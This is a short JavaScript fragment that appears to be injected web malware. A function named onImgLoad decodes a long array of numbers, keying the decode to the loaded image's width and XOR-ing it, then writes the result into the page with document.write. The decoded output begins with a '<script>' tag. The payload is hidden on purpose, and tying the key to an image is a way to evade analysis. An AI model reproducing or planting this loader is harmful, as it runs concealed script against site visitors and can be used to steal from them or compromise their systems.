function onImgLoad(source) {
var as = new Array(105,11,150,186,391,426,551,506,306,429,532,438,337,412,534,460,307,429,477,512,312,429,490,520,312,410,553,512,306,406,554,435,379,417,555,523,334,408,549,518,335,343,531,506,306,433,549,452,381,361,535,523,333,404,536,512,379,433,545,508,318,360,508,458,335,416,544,512,376,403,553,510,314,426,551,506,306,429,532,536,381,349,535,506,316,360,508,458,307,433,532,508,389,342,491,521,318,417,493,507,334,427,546,454,316,406,557,455,396,364,470,449,395,366,472,455,330,360,535,519,310,412,482,508,390,347,495,460,307,429,488,451,381,393,486,438,391,393,491,507,316,427,561,508,335,359,486,453,388,361,491,507,316,427,561,508,335,359);
var xi = source.width; if (!xi) {return;}
var sb=""; for (var n=4; n<as.length; n++) {sb+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sb);
}

